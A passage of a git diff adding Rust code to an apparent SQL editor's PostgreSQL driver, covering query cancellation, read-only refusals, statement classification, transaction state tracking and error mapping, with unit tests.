RunEnd { + match interrupt { + Interrupt::Cancelled | Interrupt::ConsumerGone => RunEnd::Cancelled, + Interrupt::DeadlineElapsed => RunEnd::TimedOut { + server_cancelled: acknowledges_stop(error), + }, + } +} + +/// Inside the read-only wrapper, a statement that cannot run in a +/// transaction block at all (VACUUM, CREATE DATABASE) fails with 25001, +/// which here means the read-only rule refused it. +fn read_only_refusal(error: DriverError) -> DriverError { + match error { + DriverError::Server(diagnostics) if diagnostics.sqlstate() == Some("25001") => { + DriverError::ReadOnly(ReadOnlyRefusal::ServerRejected(diagnostics)) + } + other => other, + } +} + +impl SessionCore { + fn standard_conforming_strings(&self) -> bool { + self.conforming.load(Ordering::SeqCst) + } +} + +#[cfg(test)] +mod tests { + use tablepro_core::{ServerDiagnostics, TimeoutPhase}; + + use super::*; + + #[test] + fn a_stopped_run_ends_by_what_stopped_it() { + let acknowledged = DriverError::Timeout { + phase: TimeoutPhase::Statement, + server_cancelled: true, + }; + + assert_eq!(end_after_stop(Interrupt::Cancelled, &acknowledged), RunEnd::Cancelled); + assert_eq!( + end_after_stop(Interrupt::ConsumerGone, &DriverError::Cancelled), + RunEnd::Cancelled + ); + assert_eq!( + end_after_stop(Interrupt::DeadlineElapsed, &acknowledged), + RunEnd::TimedOut { server_cancelled: true } + ); + assert_eq!( + end_after_stop(Interrupt::DeadlineElapsed, &DriverError::Cancelled), + RunEnd::TimedOut { + server_cancelled: false + } + ); + } + + #[test] + fn vacuum_in_the_read_only_wrapper_is_a_read_only_refusal() { + let vacuum = DriverError::reported(ServerDiagnostics::new( + Some(ServerCode::SqlState("25001".to_owned())), + "VACUUM cannot run inside a transaction block", + )); + + assert!(matches!( + read_only_refusal(vacuum), + DriverError::ReadOnly(ReadOnlyRefusal::ServerRejected(_)) + )); + } +} diff --git a/linux/crates/drivers/postgres/src/editor/session_core.rs b/linux/crates/drivers/postgres/src/editor/session_core.rs new file mode 100644 index 0000000000..91846a3295 --- /dev/null +++ b/linux/crates/drivers/postgres/src/editor/session_core.rs @@ -0,0 +1,124 @@ +use std::sync::Arc; +use std::sync::atomic::{AtomicBool, Ordering}; +use std::task::Poll; +use std::time::Duration; + +use tablepro_core::{ResultSink, RunOptions, RunSummary, UserSql}; +use tokio::sync::mpsc::{UnboundedReceiver, UnboundedSender}; +use tokio::time::Instant; +use tokio_postgres::error::DbError; +use tokio_postgres::{AsyncMessage, CancelToken, Client}; +use tokio_util::sync::CancellationToken; + +use super::run::Run; +use super::stop_watch::StopWatch; +use super::transaction_tracker::TransactionTracker; +use crate::physical::{PgEndpoint, PgRawConnection}; + +/// The session's connection is gone, or no longer answers. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub(crate) struct Lost; + +/// What the session actor owns besides the connection's I/O half. +pub(crate) struct SessionCore { + pub(crate) client: Client, + pub(crate) endpoint: Arc, + pub(crate) cancel_token: CancelToken, + pub(crate) tracker: TransactionTracker, + pub(crate) read_only: bool, + pub(crate) conforming: Arc, + notices: UnboundedReceiver, + statement_timeout: Option, + grace: Duration, +} + +impl SessionCore { + pub(crate) fn new( + client: Client, + endpoint: Arc, + read_only: bool, + statement_timeout: Option, + notices: UnboundedReceiver, + conforming: Arc, + ) -> Self { + let cancel_token = client.cancel_token(); + let grace = endpoint.liveness().cancel_grace; + Self { + client, + endpoint, + cancel_token, + tracker: TransactionTracker::default(), + read_only, + conforming, + notices, + statement_timeout, + grace, + } + } + + pub(crate) fn statement_timeout(&self) -> Option { + self.statement_timeout + } + + pub(crate) fn next_notice(&mut self) -> Option { + self.notices.try_recv().ok() + } + + pub(crate) fn discard_notices(&mut self) { + while self.notices.try_recv().is_ok() {} + } + + pub(crate) async fn run( + &mut self, + sql: &UserSql, + options: RunOptions, + sink: &mut dyn ResultSink, + shutdown: &CancellationToken, + ) -> Result { + let started = Instant::now(); + let deadline = options.deadline.map(|deadline| started + deadline); + let watch = StopWatch::new(options.cancel, shutdown.clone(), deadline, self.grace); + let mut run = Run::new(self, sink, watch, options.row_limit); + let end = run.script(sql.as_str()).await?; + // A cancel request may have landed on one of the driver's own + // statements, so after a stop the status is asked, not assumed. + if run.stopped() { + run.probe().await?; + } + run.forward_notices().await; + Ok(RunSummary { + elapsed: started.elapsed(), + end, + transaction_state: self.tracker.state().into(), + }) + } +} + +/// Drive the connection's I/O, which the actor polls itself so notices +/// and parameter changes stay with the session: notices go to the run, +/// and `standard_conforming_strings` decides how the next statement is +/// split. Resolves when the connection ends. +pub(crate) async fn drive( + mut connection: PgRawConnection, + notices: UnboundedSender, + conforming: Arc, +) { + std::future::poll_fn(|cx| { + loop { + let polled = connection.poll_message(cx); + conforming.store( + connection.parameter("standard_conforming_strings") != Some("off"), + Ordering::SeqCst, + ); + match polled { + Poll::Pending => return Poll::Pending, + Poll::Ready(Some(Ok(AsyncMessage::Notice(notice)))) => { + let _ = notices.send(notice); + } + Poll::Ready(Some(Ok(_))) => {} + Poll::Ready(Some(Err(_)) | None) => return Poll::Ready(()), + } + } + }) + .await; +} diff --git a/linux/crates/drivers/postgres/src/editor/session_status.rs b/linux/crates/drivers/postgres/src/editor/session_status.rs new file mode 100644 index 0000000000..10f024d225 --- /dev/null +++ b/linux/crates/drivers/postgres/src/editor/session_status.rs @@ -0,0 +1,93 @@ +use std::sync::Mutex; +use std::sync::atomic::{AtomicU8, Ordering}; + +use tablepro_core::{DriverError, EditorSessionState, LossPhase, TransactionState}; + +const READY: u8 = 0; +const RUNNING: u8 = 1; +const LOST: u8 = 2; + +/// What the session handle can answer without asking the actor, which +/// may be busy running a script. +#[derive(Debug)] +pub(crate) struct SessionStatus { + state: AtomicU8, + transaction: Mutex, +} + +impl SessionStatus { + pub(crate) fn new() -> Self { + Self { + state: AtomicU8::new(READY), + transaction: Mutex::new(TransactionState::Idle), + } + } + + pub(crate) fn state(&self) -> EditorSessionState { + match self.state.load(Ordering::SeqCst) { + READY => EditorSessionState::Ready, + RUNNING => EditorSessionState::Running, + _ => EditorSessionState::Lost, + } + } + + /// Claim the session for one run. + pub(crate) fn begin(&self) -> Result<(), DriverError> { + match self + .state + .compare_exchange(READY, RUNNING, Ordering::SeqCst, Ordering::SeqCst) + { + Ok(_) => Ok(()), + Err(RUNNING) => Err(DriverError::EditorSessionBusy), + Err(_) => Err(DriverError::ConnectionLost { + during: LossPhase::Idle, + }), + } + } + + pub(crate) fn finish(&self, transaction: TransactionState) { + *self + .transaction + .lock() + .unwrap_or_else(std::sync::PoisonError::into_inner) = transaction; + let _ = self + .state + .compare_exchange(RUNNING, READY, Ordering::SeqCst, Ordering::SeqCst); + } + + pub(crate) fn lose(&self) { + self.state.store(LOST, Ordering::SeqCst); + } + + pub(crate) fn transaction(&self) -> TransactionState { + *self + .transaction + .lock() + .unwrap_or_else(std::sync::PoisonError::into_inner) + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn a_second_run_is_busy_and_a_lost_session_refuses_runs() { + let status = SessionStatus::new(); + assert!(status.begin().is_ok()); + assert_eq!(status.begin(), Err(DriverError::EditorSessionBusy)); + + status.finish(TransactionState::InTransaction); + assert_eq!(status.state(), EditorSessionState::Ready); + assert_eq!(status.transaction(), TransactionState::InTransaction); + + status.lose(); + assert!(matches!(status.begin(), Err(DriverError::ConnectionLost { .. }))); + status.finish(TransactionState::Idle); + assert_eq!( + status.state(), + EditorSessionState::Lost, + "a finished run revived a lost session" + ); + } +} diff --git a/linux/crates/drivers/postgres/src/editor/statement_class.rs b/linux/crates/drivers/postgres/src/editor/statement_class.rs new file mode 100644 index 0000000000..ea0302b651 --- /dev/null +++ b/linux/crates/drivers/postgres/src/editor/statement_class.rs @@ -0,0 +1,206 @@ +use tablepro_core::sql_syntax::script::{ScriptToken, ScriptTokenKind}; + +/// What a statement does to the session's transaction, read from its +/// leading keywords. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub(crate) enum StatementClass { + /// BEGIN, START TRANSACTION. + TransactionStart, + /// COMMIT, END, ROLLBACK, ABORT. `chain` is AND CHAIN, which opens + /// the next transaction at once. + TransactionEnd { + rollback: bool, + chain: bool, + }, + /// SAVEPOINT and RELEASE. + Savepoint, + RollbackToSavepoint, + /// PREPARE TRANSACTION, COMMIT PREPARED, ROLLBACK PREPARED. + TwoPhase, + CopyFromStdin, + CopyToStdout, + /// A statement whose result a cursor can hold: SELECT, VALUES, TABLE, + /// WITH, or one that opens with a parenthesis. + RowSource, + /// CALL and DO can commit or roll back inside, so what they leave is + /// only known by asking. + Undetermined, + Other { + reports_rows: bool, + }, +} + +/// Classify a statement from its tokens. Only words at parenthesis depth +/// zero count, so a keyword inside a subquery or a function body never +/// changes the class. +pub(crate) fn classify(text: &str, tokens: &[ScriptToken]) -> StatementClass { + let significant: Vec<&ScriptToken> = tokens.iter().filter(|token| !token.kind.is_trivia()).collect(); + if significant + .first() + .is_some_and(|token| token.kind == ScriptTokenKind::OpenParen) + { + return StatementClass::RowSource; + } + let words = top_level_words(text, &significant); + let word = |index: usize| words.get(index).map(String::as_str).unwrap_or_default(); + match word(0) { + "BEGIN" => StatementClass::TransactionStart, + "START" if word(1) == "TRANSACTION" => StatementClass::TransactionStart, + "COMMIT" | "ROLLBACK" if word(1) == "PREPARED" => StatementClass::TwoPhase, + "PREPARE" if word(1) == "TRANSACTION" => StatementClass::TwoPhase, + "ROLLBACK" | "ABORT" if is_rollback_to(&words) => StatementClass::RollbackToSavepoint, + "COMMIT" | "END" | "ROLLBACK" | "ABORT" => StatementClass::TransactionEnd { + rollback: matches!(word(0), "ROLLBACK" | "ABORT"), + chain: has_chain(&words), + }, + "SAVEPOINT" | "RELEASE" => StatementClass::Savepoint, + "COPY" => copy_direction(&words), + "SELECT" | "VALUES" | "TABLE" | "WITH" => StatementClass::RowSource, + "CALL" | "DO" => StatementClass::Undetermined, + "INSERT" | "UPDATE" | "DELETE" | "MERGE" | "MOVE" | "FETCH" => StatementClass::Other { reports_rows: true }, + _ => StatementClass::Other { reports_rows: false }, + } +} + +impl StatementClass { + /// Whether the statement controls the transaction itself, so its own + /// results and notices are not data to show. + pub(crate) fn is_transaction_control(self) -> bool { + matches!( + self, + Self::TransactionStart + | Self::TransactionEnd { .. } + | Self::Savepoint + | Self::RollbackToSavepoint + | Self::TwoPhase + ) + } + + /// Whether a command tag's count is a row count for this statement. + /// A row source's count is its rows, and DDL's tag has no count. + pub(crate) fn reports_rows(self) -> bool { + matches!( + self, + Self::RowSource | Self::CopyToStdout | Self::CopyFromStdin | Self::Other { reports_rows: true } + ) + } +} + +fn top_level_words(text: &str, tokens: &[&ScriptToken]) -> Vec { + let mut depth = 0usize; + let mut words = Vec::new(); + for token in tokens { + match token.kind { + ScriptTokenKind::OpenParen => depth += 1, + ScriptTokenKind::CloseParen => depth = depth.saturating_sub(1), + ScriptTokenKind::Word if depth == 0 => { + if let Some(word) = text.get(token.range.clone()) { + words.push(word.to_ascii_uppercase()); + } + } + _ => {} + } + } + words +} + +/// `ROLLBACK [WORK | TRANSACTION] TO [SAVEPOINT] name`. +fn is_rollback_to(words: &[String]) -> bool { + words.iter().skip(1).take(2).any(|word| word == "TO") +} + +/// `AND CHAIN`, as opposed to `AND NO CHAIN`. +fn has_chain(words: &[String]) -> bool { + words.windows(2).any(|pair| pair[0] == "AND" && pair[1] == "CHAIN") +} + +fn copy_direction(words: &[String]) -> StatementClass { + let follows = |first: &str, second: &str| words.windows(2).any(|pair| pair[0] == first && pair[1] == second); + if follows("FROM", "STDIN") { + StatementClass::CopyFromStdin + } else if follows("TO", "STDOUT") { + StatementClass::CopyToStdout + } else { + StatementClass::Other { reports_rows: true } + } +} + +#[cfg(test)] +mod tests { + use tablepro_core::sql_syntax::SqlGrammar; + use tablepro_core::sql_syntax::script::{LexicalSettings, ScriptPlan}; + + use super::*; + + fn class(text: &str) -> StatementClass { + let plan = ScriptPlan::build( + text, + SqlGrammar::PostgreSql, + LexicalSettings { + backslash_escapes: false, + }, + ); + let tokens: Vec = plan.tokens(0..text.len()).collect(); + classify(text, &tokens) + } + + #[test] + fn leading_keyword_table() { + let end = |rollback, chain| StatementClass::TransactionEnd { rollback, chain }; + let cases = [ + ("BEGIN", StatementClass::TransactionStart), + ("begin isolation level serializable", StatementClass::TransactionStart), + ("START TRANSACTION READ ONLY", StatementClass::TransactionStart), + ("COMMIT", end(false, false)), + ("END", end(false, false)), + ("commit and chain", end(false, true)), + ("COMMIT AND NO CHAIN", end(false, false)), + ("ROLLBACK", end(true, false)), + ("ROLLBACK AND CHAIN", end(true, true)), + ("ABORT", end(true, false)), + ("ROLLBACK TO SAVEPOINT a", StatementClass::RollbackToSavepoint), + ("ROLLBACK TO a", StatementClass::RollbackToSavepoint), + ("ROLLBACK WORK TO SAVEPOINT a", StatementClass::RollbackToSavepoint), + ("SAVEPOINT a", StatementClass::Savepoint), + ("RELEASE SAVEPOINT a", StatementClass::Savepoint), + ("PREPARE TRANSACTION 'x'", StatementClass::TwoPhase), + ("COMMIT PREPARED 'x'", StatementClass::TwoPhase), + ("ROLLBACK PREPARED 'x'", StatementClass::TwoPhase), + ("COPY t FROM STDIN", StatementClass::CopyFromStdin), + ( + "copy t (a, b) from stdin with (format csv)", + StatementClass::CopyFromStdin, + ), + ("COPY (SELECT 1) TO STDOUT", StatementClass::CopyToStdout), + ("COPY t FROM '/tmp/x'", StatementClass::Other { reports_rows: true }), + ("SELECT 1", StatementClass::RowSource), + (" -- why\n values (1)", StatementClass::RowSource), + ("TABLE t", StatementClass::RowSource), + ("WITH x AS (SELECT 1) SELECT * FROM x", StatementClass::RowSource), + ("(SELECT 1) UNION (SELECT 2)", StatementClass::RowSource), + ("CALL p()", StatementClass::Undetermined), + ("DO $$ BEGIN COMMIT; END $$", StatementClass::Undetermined), + ("INSERT INTO t VALUES (1)", StatementClass::Other { reports_rows: true }), + ( + "CREATE TABLE t (begin int)", + StatementClass::Other { reports_rows: false }, + ), + ("PREPARE q AS SELECT 1", StatementClass::Other { reports_rows: false }), + ("SELECT * FROM (SELECT 1) AS begin", StatementClass::RowSource), + ]; + for (text, expected) in cases { + assert_eq!(class(text), expected, "{text}"); + } + } + + #[test] + fn a_keyword_inside_parentheses_does_not_count() { + assert_eq!( + class("COPY (SELECT 'FROM STDIN') TO STDOUT"), + StatementClass::CopyToStdout + ); + assert!(StatementClass::TransactionStart.is_transaction_control()); + assert!(!StatementClass::RowSource.is_transaction_control()); + assert!(!StatementClass::Other { reports_rows: false }.reports_rows()); + } +} diff --git a/linux/crates/drivers/postgres/src/editor/stop_watch.rs b/linux/crates/drivers/postgres/src/editor/stop_watch.rs new file mode 100644 index 0000000000..5765241eee --- /dev/null +++ b/linux/crates/drivers/postgres/src/editor/stop_watch.rs @@ -0,0 +1,131 @@ +use std::sync::Arc; +use std::time::Duration; + +use tablepro_core::DriverError; +use tokio::task::JoinHandle; +use tokio::time::Instant; +use tokio_postgres::CancelToken; +use tokio_util::sync::CancellationToken; + +use crate::physical::PgEndpoint; + +/// Why a run stopped before its script did. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub(crate) enum Interrupt { + Cancelled, + DeadlineElapsed, + /// The sink said nobody is reading any more. + ConsumerGone, +} + +/// The run's stop: what triggers it, and the cancel request it sent. +/// +/// The cancel request runs as a task of its own, so it reaches the +/// server while the run keeps reading what the statement still sends. +/// Nothing new goes out until the request has settled, because a cancel +/// request names the backend, not the statement, and a late one would +/// cancel whatever the run sent next. +pub(crate) struct StopWatch { + cancel: CancellationToken, + shutdown: CancellationToken, + run_deadline: Option, + statement_deadline: Option, + grace: Duration, + fired: Option, + give_up: Option, + request: Option>>, +} + +impl StopWatch { + pub(crate) fn new( + cancel: CancellationToken, + shutdown: CancellationToken, + run_deadline: Option, + grace: Duration, + ) -> Self { + Self { + cancel, + shutdown, + run_deadline, + statement_deadline: run_deadline, + grace, + fired: None, + give_up: None, + request: None, + } + } + + /// Bound the next statement by the session's statement timeout as + /// well as the run's deadline. + pub(crate) fn begin_statement(&mut self, statement_timeout: Option) { + let own = statement_timeout.map(|timeout| Instant::now() + timeout); + self.statement_deadline = match (self.run_deadline, own) { + (Some(run), Some(own)) => Some(run.min(own)), + (run, own) => run.or(own), + }; + } + + pub(crate) fn fired(&self) -> Option { + self.fired + } + + /// Resolves when the run should stop. + pub(crate) async fn triggered(&self) -> Interrupt { + let deadline = async { + match self.statement_deadline { + Some(at) => tokio::time::sleep_until(at).await, + None => std::future::pending().await, + } + }; + tokio::select! { + () = self.cancel.cancelled() => Interrupt::Cancelled, + () = self.shutdown.cancelled() => Interrupt::Cancelled, + () = deadline => Interrupt::DeadlineElapsed, + } + } + + /// A trigger that came due while nothing was running. + pub(crate) fn due(&self) -> Option { + if self.cancel.is_cancelled() || self.shutdown.is_cancelled() { + return Some(Interrupt::Cancelled); + } + self.statement_deadline + .filter(|at| Instant::now() >= *at) + .map(|_| Interrupt::DeadlineElapsed) + } + + /// Record the stop and, where a statement is running, send the + /// cancel request for it. + pub(crate) fn fire(&mut self, interrupt: Interrupt, running: Option<(Arc, CancelToken)>) { + if self.fired.is_some() { + return; + } + self.fired = Some(interrupt); + self.give_up = Some(Instant::now() + self.grace); + if let Some((endpoint, token)) = running { + self.request = Some(tokio::spawn(async move { endpoint.cancel_request(&token).await })); + } + } + + /// Resolves once the grace after the stop has run out: a statement + /// still running then never answered its cancel. + pub(crate) async fn gave_up(&self) { + match self.give_up { + Some(at) => tokio::time::sleep_until(at).await, + None => std::future::pending().await, + } + } + + /// Wait for an outstanding cancel request before anything else goes + /// to the server. One that has not settled by the end of the grace is + /// dropped: it could not reach the server, so it cannot land late. + pub(crate) async fn settle(&mut self) { + let Some(mut request) = self.request.take() else { + return; + }; + let give_up = self.give_up.unwrap_or_else(Instant::now); + if tokio::time::timeout_at(give_up, &mut request).await.is_err() { + request.abort(); + } + } +} diff --git a/linux/crates/drivers/postgres/src/editor/transaction_tracker.rs b/linux/crates/drivers/postgres/src/editor/transaction_tracker.rs new file mode 100644 index 0000000000..7d083ac1c9 --- /dev/null +++ b/linux/crates/drivers/postgres/src/editor/transaction_tracker.rs @@ -0,0 +1,204 @@ +use tablepro_core::TransactionState; + +use super::statement_class::StatementClass; + +/// The session's transaction status, followed statement by statement. +/// +/// tokio-postgres drops the status byte of ReadyForQuery, so the status +/// is derived from what each statement was and whether it succeeded, +/// under PostgreSQL's own rules (xact.c). Where the rules do not settle +/// it, the tracker asks for a probe instead of guessing: read-only mode +/// wraps an idle statement in a read-only transaction, and a guess of +/// "idle" inside a real transaction would commit the user's work. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub(crate) struct TransactionTracker { + state: KnownState, +} + +/// What the tracker knows, which is never "unknown": an uncertain step +/// asks for a probe and the probe answers. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub(crate) enum KnownState { + Idle, + InTransaction, + Failed, +} + +/// What a statement leaves behind. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub(crate) enum Next { + Known(KnownState), + /// Run the SAVEPOINT probe to learn it. + Probe, +} + +impl Default for TransactionTracker { + fn default() -> Self { + Self { + state: KnownState::Idle, + } + } +} + +impl TransactionTracker { + pub(crate) fn state(&self) -> KnownState { + self.state + } + + pub(crate) fn set(&mut self, state: KnownState) { + self.state = state; + } + + /// The status after `class` ran from the current status and either + /// succeeded or failed. + pub(crate) fn after(&self, class: StatementClass, succeeded: bool) -> Next { + use KnownState::{Failed, Idle, InTransaction}; + + let state = self.state; + let known = Next::Known; + match (class, state, succeeded) { + // In an aborted block only ROLLBACK, ROLLBACK TO and COMMIT + // (which rolls back) are accepted; the rest fail with 25P02. + (StatementClass::TransactionEnd { chain: false, .. }, _, true) => known(Idle), + (StatementClass::RollbackToSavepoint, Failed | InTransaction, true) => known(InTransaction), + (_, Failed, _) if !class.ends_failed_block() => known(Failed), + (StatementClass::TransactionStart, Idle | InTransaction, true) => known(InTransaction), + (StatementClass::Savepoint, InTransaction, true) => known(InTransaction), + (StatementClass::TwoPhase, Idle | InTransaction, true) => known(Idle), + (StatementClass::RowSource | StatementClass::Other { .. }, _, true) => known(state), + // A failed statement outside a block was its own transaction; + // inside one it aborts the block. + (_, Idle, false) if !class.may_change_state_on_failure() => known(Idle), + (_, InTransaction, false) if !class.may_change_state_on_failure() => known(Failed), + // AND CHAIN, a failed COMMIT, CALL and DO, and anything that + // fell through: the rules leave it open, so ask. + _ => Next::Probe, + } + } +} + +impl StatementClass { + fn ends_failed_block(self) -> bool { + matches!(self, Self::TransactionEnd { .. } | Self::RollbackToSavepoint) + } + + /// Whether a failure of this statement can leave the transaction in a + /// state other than "aborted if in a block": a failed COMMIT has + /// already rolled back, and CALL or DO may have committed first. + fn may_change_state_on_failure(self) -> bool { + matches!( + self, + Self::TransactionEnd { .. } | Self::RollbackToSavepoint | Self::Undetermined | Self::TwoPhase + ) + } +} + +impl From for TransactionState { + fn from(state: KnownState) -> Self { + match state { + KnownState::Idle => Self::Idle, + KnownState::InTransaction => Self::InTransaction, + KnownState::Failed => Self::Failed, + } + } +} + +/// What the SAVEPOINT probe's answer means. SAVEPOINT needs a +/// transaction block, so it fails with 25P01 outside one and with 25P02 +/// in an aborted one. +pub(crate) fn probe_answer(sqlstate: Option<&str>) -> Option { + match sqlstate { + None => Some(KnownState::InTransaction), + Some("25P01") => Some(KnownState::Idle), + Some("25P02") => Some(KnownState::Failed), + Some(_) => None, + } +} + +pub(crate) const PROBE_SAVEPOINT: &str = "SAVEPOINT tablepro_probe"; +pub(crate) const PROBE_RELEASE: &str = "RELEASE SAVEPOINT tablepro_probe"; + +#[cfg(test)] +mod tests { + use super::*; + + fn tracker(state: KnownState) -> TransactionTracker { + let mut tracker = TransactionTracker::default(); + tracker.set(state); + tracker + } + + #[test] + fn transitions_table() { + use KnownState::{Failed, Idle, InTransaction}; + + let other = StatementClass::Other { reports_rows: true }; + let commit = StatementClass::TransactionEnd { + rollback: false, + chain: false, + }; + let rollback = StatementClass::TransactionEnd { + rollback: true, + chain: false, + }; + let chain = StatementClass::TransactionEnd { + rollback: false, + chain: true, + }; + let cases = [ + (Idle, StatementClass::TransactionStart, true, Next::Known(InTransaction)), + ( + InTransaction, + StatementClass::TransactionStart, + true, + Next::Known(InTransaction), + ), + (Failed, StatementClass::TransactionStart, false, Next::Known(Failed)), + (InTransaction, commit, true, Next::Known(Idle)), + (Failed, commit, true, Next::Known(Idle)), + (Idle, commit, true, Next::Known(Idle)), + (InTransaction, rollback, true, Next::Known(Idle)), + (InTransaction, commit, false, Next::Probe), + (InTransaction, chain, true, Next::Probe), + ( + Failed, + StatementClass::RollbackToSavepoint, + true, + Next::Known(InTransaction), + ), + (Failed, StatementClass::RollbackToSavepoint, false, Next::Probe), + ( + InTransaction, + StatementClass::Savepoint, + true, + Next::Known(InTransaction), + ), + (Idle, StatementClass::Savepoint, false, Next::Known(Idle)), + (InTransaction, StatementClass::Savepoint, false, Next::Known(Failed)), + (InTransaction, StatementClass::TwoPhase, true, Next::Known(Idle)), + (Idle, other, true, Next::Known(Idle)), + (Idle, other, false, Next::Known(Idle)), + (InTransaction, other, true, Next::Known(InTransaction)), + (InTransaction, other, false, Next::Known(Failed)), + (Failed, other, false, Next::Known(Failed)), + (InTransaction, StatementClass::RowSource, false, Next::Known(Failed)), + (Idle, StatementClass::Undetermined, true, Next::Probe), + (InTransaction, StatementClass::Undetermined, false, Next::Probe), + ]; + for (from, class, succeeded, expected) in cases { + assert_eq!( + tracker(from).after(class, succeeded), + expected, + "{class:?} from {from:?}, succeeded {succeeded}" + ); + } + } + + #[test] + fn savepoint_probe_25p01_idle_25p02_failed() { + assert_eq!(probe_answer(None), Some(KnownState::InTransaction)); + assert_eq!(probe_answer(Some("25P01")), Some(KnownState::Idle)); + assert_eq!(probe_answer(Some("25P02")), Some(KnownState::Failed)); + assert_eq!(probe_answer(Some("57014")), None); + } +} diff --git a/linux/crates/drivers/postgres/src/errors.rs b/linux/crates/drivers/postgres/src/errors.rs new file mode 100644 index 0000000000..a1075eea13 --- /dev/null +++ b/linux/crates/drivers/postgres/src/errors.rs @@ -0,0 +1,257 @@ +use std::error::Error as StdError; +use std::io; + +use deadpool_postgres::{PoolError, TimeoutType}; +use tablepro_core::{ + DriverError, LossPhase, ReadOnlyRefusal, ServerCode, ServerDiagnostics, TimeoutPhase, TlsFailure, TransportError, +}; +use tokio_postgres::error::{DbError, ErrorPosition}; + +/// tokio-postgres prints only the kind of an error, never its cause, so +/// the kind is told apart by these exact strings. +const AUTHENTICATION_KIND: &str = "authentication error"; +const TLS_KIND: &str = "error performing TLS handshake"; + +/// What a tokio-postgres error means to the app. +pub(crate) fn map_error(error: &tokio_postgres::Error) -> DriverError { + if let Some(carried) = carried(error) { + return carried; + } + if let Some(db) = error.as_db_error() { + return map_db_error(db); + } + if let Some((failure, detail)) = tablepro_net::tls::classify(error) { + return DriverError::Tls { failure, detail }; + } + let kind = error.to_string(); + if kind == AUTHENTICATION_KIND { + return DriverError::auth(Some(ServerDiagnostics::new(None, describe(error)))); + } + if kind == TLS_KIND { + return DriverError::Tls { + failure: TlsFailure::Other, + detail: describe(error), + }; + } + if error.is_closed() || io_source(error).is_some() { + return DriverError::ConnectionLost { + during: LossPhase::Statement, + }; + } + DriverError::Protocol(describe(error)) +} + +/// An error from opening a connection, where a TLS failure before the +/// handshake began means the server never agreed to TLS at all. +pub(crate) fn map_connect_error( + error: &tokio_postgres::Error, + tls_requested: bool, + handshake_started: bool, +) -> DriverError { + let mapped = map_error(error); + match mapped { + DriverError::Tls { detail, .. } if tls_requested && !handshake_started => DriverError::Tls { + failure: TlsFailure::ServerRefusedTls, + detail, + }, + DriverError::ConnectionLost { .. } => DriverError::ConnectionLost { + during: LossPhase::Connect, + }, + other => other, + } +} + +/// The SQLSTATEs the app acts on. Everything else is the server's own +/// answer, passed through with its diagnostics. +pub(crate) fn map_db_error(db: &DbError) -> DriverError { + map_diagnostics(diagnostics_of(db)) +} + +pub(crate) fn map_diagnostics(diagnostics: ServerDiagnostics) -> DriverError { + match diagnostics.sqlstate().unwrap_or_default() { + "28P01" | "28000" => DriverError::auth(Some(diagnostics)), + "25006" => DriverError::ReadOnly(ReadOnlyRefusal::server(diagnostics)), + // The SQLSTATE of a statement_timeout is the one a cancel request + // raises too, and only the message tells them apart. + "57014" if diagnostics.message.contains("statement timeout") => DriverError::Timeout { + phase: TimeoutPhase::Statement, + server_cancelled: true, + }, + "55P03" => DriverError::Timeout { + phase: TimeoutPhase::LockWait, + server_cancelled: true, + }, + "53300" => DriverError::Busy, + // The server ended the session: an administrator terminated the + // backend, or the server is shutting down. + "57P01" | "57P02" | "57P03" => DriverError::ConnectionLost { + during: LossPhase::Statement, + }, + _ => DriverError::reported(diagnostics), + } +} + +pub(crate) fn diagnostics_of(db: &DbError) -> ServerDiagnostics { + ServerDiagnostics { + code: Some(ServerCode::SqlState(db.code().code().to_owned())), + severity: Some(db.severity().to_owned()), + message: db.message().to_owned(), + detail: db.detail().map(str::to_owned), + hint: db.hint().map(str::to_owned), + position: match db.position() { + Some(ErrorPosition::Original(at)) => Some(*at), + _ => None, + }, + where_context: db.where_().map(str::to_owned), + schema: db.schema().map(str::to_owned), + table: db.table().map(str::to_owned), + column: db.column().map(str::to_owned), + constraint: db.constraint().map(str::to_owned), + } +} + +/// The SQLSTATE of a server error, wherever the error came from. +pub(crate) fn sqlstate(error: &DriverError) -> Option<&str> { + match error { + DriverError::Server(diagnostics) => diagnostics.sqlstate(), + DriverError::Auth { diagnostics } => diagnostics.as_deref().and_then(ServerDiagnostics::sqlstate), + DriverError::ReadOnly(ReadOnlyRefusal::ServerRejected(diagnostics)) => diagnostics.sqlstate(), + DriverError::Timeout { + phase: TimeoutPhase::Statement, + server_cancelled: true, + } => Some("57014"), + DriverError::Timeout { + phase: TimeoutPhase::LockWait, + .. + } => Some("55P03"), + _ => None, + } +} + +/// What a pool refusal means. A wait that runs out means every slot is +/// busy, which is the server having no room rather than a dead link. +pub(crate) fn map_pool_error(error: &PoolError) -> DriverError { + match error { + PoolError::Timeout(TimeoutType::Wait) => DriverError::Busy, + PoolError::Timeout(TimeoutType::Create) => DriverError::Timeout { + phase: TimeoutPhase::Login, + server_cancelled: false, + }, + PoolError::Timeout(TimeoutType::Recycle) => DriverError::Timeout { + phase: TimeoutPhase::Probe, + server_cancelled: false, + }, + PoolError::Backend(error) => map_error(error), + PoolError::Closed => DriverError::ConnectionLost { + during: LossPhase::Idle, + }, + other => DriverError::Protocol(other.to_string()), + } +} + +/// A `DriverError` that crossed deadpool's `Connect` hook, which can only +/// return a tokio-postgres error. It travels as the `io::Error` that a +/// failed stream reported, so the source chain leads back to it. +fn carried(error: &tokio_postgres::Error) -> Option { + io_source(error)?.get_ref()?.downcast_ref::().cloned() +} + +fn io_source(error: &tokio_postgres::Error) -> Option<&io::Error> { + error.source()?.downcast_ref::() +} + +/// The kind and its cause, which tokio-postgres keeps apart. +fn describe(error: &tokio_postgres::Error) -> String { + match error.source() { + Some(source) => format!("{error}: {source}"), + None => error.to_string(), + } +} + +/// A transport error, or the loss it caused on an open stream. +pub(crate) fn transport_error(error: TransportError) -> DriverError { + DriverError::Transport(error) +} + +#[cfg(test)] +mod tests { + use super::*; + + fn diagnostics(code: &str, message: &str) -> ServerDiagnostics { + ServerDiagnostics::new(Some(ServerCode::SqlState(code.to_owned())), message) + } + + #[test] + fn sqlstate_table() { + type Expected = fn(&DriverError) -> bool; + let cases: [(&str, &str, Expected); 9] = [ + ("28P01", "password authentication failed", |e| { + matches!(e, DriverError::Auth { .. }) + }), + ("28000", "no pg_hba.conf entry", |e| { + matches!(e, DriverError::Auth { .. }) + }), + ("25006", "cannot execute INSERT in a read-only 